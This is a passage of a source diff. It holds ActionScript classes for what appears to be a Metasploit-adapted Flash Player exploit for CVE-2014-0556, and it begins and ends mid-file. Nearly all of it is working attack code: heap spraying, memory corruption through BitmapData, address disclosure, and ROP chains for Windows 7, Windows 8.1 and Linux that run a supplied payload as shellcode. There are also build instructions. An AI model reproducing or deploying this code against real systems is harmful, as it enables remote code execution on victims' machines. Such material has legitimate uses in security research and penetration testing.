// CODE segment size
|
||||
public var seg_exec_size:uint = 0
|
||||
// .dynsyn section address
|
||||
public var sec_dynsym:uint = 0
|
||||
// .synstr section address
|
||||
public var sec_dynstr:uint = 0
|
||||
// .got.plt section address
|
||||
public var sec_got_plt:uint = 0
|
||||
|
||||
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||
{
|
||||
e_ba = ba
|
||||
set_base(addr)
|
||||
set_program_header()
|
||||
set_program_header_size()
|
||||
set_program_header_entry_size()
|
||||
set_dynamic_segment()
|
||||
set_exec_segment()
|
||||
set_dynsym()
|
||||
set_dynstr()
|
||||
set_got_plt()
|
||||
}
|
||||
|
||||
public function external_symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
var got_plt_index:uint = 0
|
||||
|
||||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||
}
|
||||
if (st_info != 0x11) {
|
||||
got_plt_index++
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
public function symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
|
||||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return base + st_value
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
|
||||
public function gadget(gadget:String, hint:uint):uint
|
||||
{
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
var contents:uint = 0
|
||||
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||
contents = e_ba.read(seg_exec + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return seg_exec + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return seg_exec + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_base(addr:uint):void
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (e_ba.read(addr) == 0x464c457f) {
|
||||
base = addr
|
||||
return
|
||||
}
|
||||
addr -= 0x1000
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_program_header():void
|
||||
{
|
||||
ph = base + e_ba.read(base + 0x1c)
|
||||
}
|
||||
|
||||
private function set_program_header_size():void
|
||||
{
|
||||
ph_size = e_ba.read(base + 0x2c, "word")
|
||||
}
|
||||
|
||||
private function set_program_header_entry_size():void
|
||||
{
|
||||
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||
}
|
||||
|
||||
private function set_dynamic_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
if (p_type == PT_DYNAMIC) {
|
||||
seg_dynamic = base + e_ba.read(entry + 8)
|
||||
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_exec_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
var p_flags:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
p_flags = e_ba.read(entry + 0x18)
|
||||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||
seg_exec = base + e_ba.read(entry + 8)
|
||||
seg_exec_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynsym():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_SYMTAB) {
|
||||
sec_dynsym = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynstr():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_STRTAB) {
|
||||
sec_dynstr = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_got_plt():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_PLTGOT) {
|
||||
sec_got_plt = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,83 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.BitmapData
|
||||
import flash.geom.Rectangle
|
||||
import flash.utils.ByteArray
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
private var uv:Vector.<uint>
|
||||
private var exploiter:Exploiter
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var os:String
|
||||
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(12800)
|
||||
private var bd:BitmapData = new BitmapData(128, 16)
|
||||
|
||||
public function Exploit()
|
||||
{
|
||||
var i:uint
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray()
|
||||
|
||||
for (i = 0; i < bv.length; i++) {
|
||||
bv[i] = new ByteArray()
|
||||
bv[i].length = 0x2000
|
||||
bv[i].position = 0xFFFFF000
|
||||
}
|
||||
|
||||
for (i = 0; i < bv.length; i++)
|
||||
if (i % 2 == 0) bv[i] = null
|
||||
|
||||
for (i = 0; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<uint>(1022)
|
||||
ov[i][0] = 0xdeadbeef
|
||||
}
|
||||
|
||||
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
|
||||
|
||||
for (i = 0; i < ov.length ; i++) {
|
||||
if (ov[i].length == 0xffffffff) {
|
||||
uv = ov[i]
|
||||
uv[0] = 0xdeadbeef
|
||||
uv[1] = 0xdeedbeef
|
||||
for(var j:uint = 0; j < 4096; j++) {
|
||||
if (uv[j] == 1022 && uv[j + 2] == 0xdeadbeef) {
|
||||
uv[0x3fffffff] = uv[j + 1]
|
||||
break
|
||||
}
|
||||
}
|
||||
} else {
|
||||
ov[i] = null
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0; i < bv.length; i++) {
|
||||
bv[i] = null
|
||||
}
|
||||
|
||||
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,85 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
|
||||
public class ExploitByteArray
|
||||
{
|
||||
private const MAX_STRING_LENGTH:uint = 100
|
||||
public var ba:ByteArray
|
||||
public var original_length:uint
|
||||
private var platform:String
|
||||
|
||||
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||
{
|
||||
ba = new ByteArray()
|
||||
ba.length = l
|
||||
ba.endian = "littleEndian"
|
||||
ba.writeUnsignedInt(0)
|
||||
platform = p
|
||||
original_length = l
|
||||
}
|
||||
|
||||
public function set_length(length:uint):void
|
||||
{
|
||||
ba.length = length
|
||||
}
|
||||
|
||||
public function get_length():uint
|
||||
{
|
||||
return ba.length
|
||||
}
|
||||
|
||||
public function lets_ready():void
|
||||
{
|
||||
ba.endian = "littleEndian"
|
||||
if (platform == "linux") {
|
||||
ba.length = 0xffffffff
|
||||
}
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (ba.length == 0xffffffff)
|
||||
return true
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
public function read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function read_string(addr:uint, length:uint = 0):String
|
||||
{
|
||||
ba.position = addr
|
||||
if (length == 0)
|
||||
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||
else
|
||||
return ba.readUTFBytes(length)
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
var i:uint
|
||||
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else if (value is ByteArray) {
|
||||
var value_length:uint = value.length
|
||||
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
package
|
||||
{
|
||||
public class ExploitVector
|
||||
{
|
||||
private var uv:Vector.<uint>
|
||||
public var original_length:uint = 0x3fe
|
||||
|
||||
public function ExploitVector(v:Vector.<uint>)
|
||||
{
|
||||
uv = v
|
||||
}
|
||||
|
||||
public function restore():void
|
||||
{
|
||||
uv[0x3ffffffe] = original_length
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (uv.length > original_length)
|
||||
{
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
public function at(pos:uint):uint
|
||||
{
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
// pos: position where a Vector.<Object>[0] lives
|
||||
public function set_own_address(pos:uint):void
|
||||
{
|
||||
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||
}
|
||||
|
||||
public function read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
uv[pos] = value
|
||||
}
|
||||
|
||||
public function search_pattern(pattern:uint, limit:uint):uint
|
||||
{
|
||||
for (var i:uint = 0; i < limit/4; i++) {
|
||||
if (uv[i] == pattern) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,399 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.System
|
||||
|
||||
public class Exploiter
|
||||
{
|
||||
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||
private var exploit:Exploit
|
||||
private var ev:ExploitVector
|
||||
private var eba:ExploitByteArray
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var op_system:String
|
||||
private var pos:uint
|
||||
private var byte_array_object:uint
|
||||
private var main:uint
|
||||
private var stack_object:uint
|
||||
private var payload_space_object:uint
|
||||
private var buffer_object:uint
|
||||
private var buffer:uint
|
||||
private var vtable:uint
|
||||
private var stack_address:uint
|
||||
private var payload_address:uint
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(89698)
|
||||
|
||||
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||
{
|
||||
exploit = exp
|
||||
payload = p
|
||||
platform = pl
|
||||
op_system = os
|
||||
|
||||
ev = new ExploitVector(uv)
|
||||
if (!ev.is_ready()) return
|
||||
eba = new ExploitByteArray(platform)
|
||||
spray_objects()
|
||||
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||
ev.set_own_address(pos)
|
||||
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||
disclose_addresses()
|
||||
corrupt_byte_array()
|
||||
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||
do_rop()
|
||||
restore_byte_array()
|
||||
ev.restore()
|
||||
cleanup()
|
||||
}
|
||||
|
||||
private function spray_objects():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - spray_objects()")
|
||||
for (var i:uint = 0; i < spray.length; i++)
|
||||
{
|
||||
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||
spray[i][0] = eba.ba
|
||||
spray[i][1] = exploit
|
||||
spray[i][2] = stack
|
||||
spray[i][3] = payload_space
|
||||
}
|
||||
}
|
||||
|
||||
private function search_objects():uint
|
||||
{
|
||||
Logger.log("[*] Exploiter - search_objects()")
|
||||
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
|
||||
return idx + 1
|
||||
}
|
||||
|
||||
private function disclose_objects():Boolean
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_objects()")
|
||||
byte_array_object = ev.at(pos) - 1
|
||||
main = ev.at(pos + 1) - 1
|
||||
stack_object = ev.at(pos + 2) - 1
|
||||
payload_space_object = ev.at(pos + 3) - 1
|
||||
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
private function disclose_addresses():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||
if (platform == "linux")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x10)
|
||||
buffer = ev.read(buffer_object + 0x1c)
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x40)
|
||||
buffer = ev.read(buffer_object + 8)
|
||||
}
|
||||
vtable = ev.read(main)
|
||||
stack_address = ev.read(stack_object + 0x18)
|
||||
payload_address = ev.read(payload_space_object + 0x18)
|
||||
}
|
||||
|
||||
private function corrupt_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c) // *array
|
||||
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8) // *array
|
||||
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||
}
|
||||
eba.lets_ready()
|
||||
}
|
||||
|
||||
private function restore_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8, buffer) // *array
|
||||
ev.write(buffer_object + 16, 1024) // capacity
|
||||
}
|
||||
eba.set_length(eba.original_length)
|
||||
}
|
||||
|
||||
private function do_rop():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop()")
|
||||
if (platform == "linux") {
|
||||
do_rop_linux()
|
||||
} else if (platform == "win") {
|
||||
if (op_system == "Windows 8.1") {
|
||||
do_rop_windows8()
|
||||
} else if (op_system == "Windows 7") {
|
||||
do_rop_windows()
|
||||
} else {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
private function do_rop_windows():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_windows8():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_linux():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||
var flash:Elf = new Elf(eba, vtable)
|
||||
var feof:uint = flash.external_symbol('feof')
|
||||
var libc:Elf = new Elf(eba, feof)
|
||||
var popen:uint = libc.symbol("popen")
|
||||
var mprotect:uint = libc.symbol("mprotect")
|
||||
var mmap:uint = libc.symbol("mmap")
|
||||
var clone:uint = libc.symbol("clone")
|
||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||
|
||||
// Continuation of execution
|
||||
// 1) Recover original vtable
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
// 2) Recover original stack
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||
|
||||
// my_memcpy
|
||||
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||
eba.write(0, "\x57", false) // push edi
|
||||
eba.write(0, "\x51", false) // push ecx
|
||||
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||
eba.write(0, "\x59", false) // pop ecx
|
||||
eba.write(0, "\x5f", false) // pop edi
|
||||
eba.write(0, "\x5e", false) // pop esi
|
||||
eba.write(0, "\xc3", false) // ret
|
||||
|
||||
// Put the popen parameters in memory
|
||||
eba.write(payload_address + 0x8, payload, true) // false
|
||||
|
||||
// Put the fake stack/vtable on memory
|
||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||
|
||||
// Return to mprotect()
|
||||
eba.write(stack_address + 0x18034, mprotect)
|
||||
// Return to stackpivot (jmp over mprotect parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mprotect() arguments
|
||||
eba.write(0, buffer) // addr
|
||||
eba.write(0, 0x1000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x18068, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() code segment arguments
|
||||
eba.write(0, 0x70000000) // 0x70000000
|
||||
eba.write(0, 0x4000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, 0xffffffff) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x1809c, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() stack segment arguments
|
||||
eba.write(0, 0x70008000) // NULL
|
||||
eba.write(0, 0x10000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, -1) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to memcpy()
|
||||
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||
// Return to stackpivot (jmp over memcpy parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// memcpy() parameters
|
||||
eba.write(0, 0x70000000)
|
||||
eba.write(0, payload_address + 0x8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// Return to clone()
|
||||
eba.write(stack_address + 0x18104, clone)
|
||||
// Return to CoE (fix stack and object vtable)
|
||||
eba.write(0, buffer + 0x10)
|
||||
// clone() arguments
|
||||
eba.write(0, 0x70000000) // code
|
||||
eba.write(0, 0x7000bff0) // stack
|
||||
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||
eba.write(0, 0) // args
|
||||
|
||||
//call DWORD PTR [eax+0x24]
|
||||
//EAX: 0x41414141 ('AAAA')
|
||||
//EDI: 0xad857088 ("AAAA\377")
|
||||
eba.write(main, stack_address + 0x18000)
|
||||
exploit.hasOwnProperty('msf')
|
||||
}
|
||||
|
||||
private function cleanup():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - cleanup()")
|
||||
spray = null
|
||||
stack = null
|
||||
payload_space = null
|
||||
eba = null
|
||||
ev = null
|
||||
exploit = null
|
||||
System.pauseForGCIfCollectionImminent(0)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
package
|
||||
{
|
||||
